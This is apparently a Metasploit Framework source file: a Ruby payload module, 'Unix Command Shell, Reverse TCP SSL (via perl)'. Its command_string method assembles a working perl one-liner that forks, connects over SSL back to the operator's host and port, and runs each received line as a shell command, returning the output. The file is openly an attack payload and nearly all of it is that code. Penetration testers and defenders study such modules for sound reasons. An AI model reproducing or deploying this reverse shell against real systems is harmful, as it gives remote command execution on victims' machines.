59 lines
1.6 KiB
Ruby
59 lines
1.6 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp_ssl'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
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'Description' => 'Creates an interactive shell via perl, uses SSL',
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'Author' => 'RageLtMan',
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'License' => BSD_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcpSsl,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'perl',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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lhost = datastore['LHOST']
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ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
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lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
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cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
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cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
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end
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end
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